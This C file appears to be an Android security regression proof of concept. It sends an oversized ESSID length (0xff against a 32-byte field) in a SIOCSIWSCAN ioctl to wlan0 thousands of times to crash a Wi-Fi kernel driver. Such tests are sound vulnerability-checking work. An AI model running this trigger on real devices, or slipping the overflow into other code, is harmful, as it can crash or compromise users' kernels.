C++程序  |  155行  |  4.81 KB

/**
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include <android/log.h>
#include <dirent.h>
#include <dlfcn.h>
#include <errno.h>
#include <fcntl.h>
#include <jni.h>
#include <limits.h>
#include <net/if.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/types.h>
#include <unistd.h>
#define AID_INET 3003    /* can create AF_INET and AF_INET6 sockets */
#define AID_NET_RAW 3004 /* can create raw INET sockets */
#define AID_NET_ADMIN 3005
#define SIOCSIWPRIV 0x8B0C
#define SIOCGIWNAME 0x8B01
#define SIOCGIWRANGE 0x8B0B
#define SIOCSIWSCAN 0x8B18
#define SIOCSIWSPY 0x8B10
#define IW_ESSID_MAX_SIZE 32
#define IW_MAX_FREQUENCIES 32
#define SIR_MAC_MAX_SSID_LENGTH 32
#define IW_SCAN_THIS_ESSID 0x0002

typedef int __s32;
typedef unsigned char __u8;
typedef unsigned short __u16;

struct iw_param {
  __s32 value;   /* The value of the parameter itself */
  __u8 fixed;    /* Hardware should not use auto select */
  __u8 disabled; /* Disable the feature */
  __u16 flags;   /* Various specifc flags (if any) */
};

struct iw_point {
  void *pointer; /* Pointer to the data  (in user space) */
  __u16 length;  /* number of fields or size in bytes */
  __u16 flags;   /* Optional params */
};

struct iw_quality {
  __u8 qual;    /* link quality (%retries, SNR,
                                   %missed beacons or better...) */
  __u8 level;   /* signal level (dBm) */
  __u8 noise;   /* noise level (dBm) */
  __u8 updated; /* Flags to know if updated */
};

struct iw_freq {
  __s32 m;    /* Mantissa */
  __s16 e;    /* Exponent */
  __u8 i;     /* List index (when in range struct) */
  __u8 flags; /* Flags (fixed/auto) */
};

union iwreq_data {
  /* Config - generic */
  char name[IFNAMSIZ];
  /* Name : used to verify the presence of  wireless extensions.
   * Name of the protocol/provider... */
  struct iw_point essid;    /* Extended network name */
  struct iw_param nwid;     /* network id (or domain - the cell) */
  struct iw_freq freq;      /* frequency or channel :
                               * 0-1000 = channel
                               * > 1000 = frequency in Hz */
  struct iw_param sens;     /* signal level threshold */
  struct iw_param bitrate;  /* default bit rate */
  struct iw_param txpower;  /* default transmit power */
  struct iw_param rts;      /* RTS threshold threshold */
  struct iw_param frag;     /* Fragmentation threshold */
  __u32 mode;               /* Operation mode */
  struct iw_param retry;    /* Retry limits & lifetime */
  struct iw_point encoding; /* Encoding stuff : tokens */
  struct iw_param power;    /* PM duration/timeout */
  struct iw_quality qual;   /* Quality part of statistics */
  struct sockaddr ap_addr;  /* Access point address */
  struct sockaddr addr;     /* Destination address (hw/mac) */
  struct iw_param param;    /* Other small parameters */
  struct iw_point data;     /* Other large parameters */
};

struct iwreq {
  union {
    char ifrn_name[IFNAMSIZ];
  } ifr_ifrn;
  union iwreq_data u;
};

struct iw_scan_req {
  __u8 scan_type;
  __u8 essid_len;
  __u8 num_channels;
  __u8 flags;
  struct sockaddr bssid;
  __u8 essid[IW_ESSID_MAX_SIZE];
  __u32 min_channel_time; /* in TU */
  __u32 max_channel_time; /* in TU */
  struct iw_freq channel_list[IW_MAX_FREQUENCIES];
};

int main(void) {
  int fd;
  int ret = -2;
  struct iwreq prIwReq;
  int i = 0;
  struct iw_scan_req *scan_req;
  if (getuid() != 0)
    return -1;
  gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
  setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
  setuid(2000);
  fd = socket(AF_INET, SOCK_STREAM, 0);
  if (fd == -1) {
    perror("[-] socket failed!\n");
    return -1;
  }
  strncpy(prIwReq.ifr_name, "wlan0", IFNAMSIZ);
  prIwReq.ifr_name[IFNAMSIZ - 1] = '\0';
  scan_req = (struct iw_scan_req *)malloc(sizeof(struct iw_scan_req) + 0xff);
  memset(scan_req, 0xff, sizeof(struct iw_scan_req) + 0xff);
  scan_req->essid_len = 0xff;
  prIwReq.u.data.length = sizeof(struct iw_scan_req);
  prIwReq.u.data.pointer = scan_req;

  prIwReq.u.data.flags = IW_SCAN_THIS_ESSID;
  for (i = 0; i < 0x1000; ++i) {
    errno = 0;
    ret = ioctl(fd, SIOCSIWSCAN, &prIwReq);
    printf(" try %d times, %s crashed ? \n", i, strerror(errno));
  }
  return 0;
}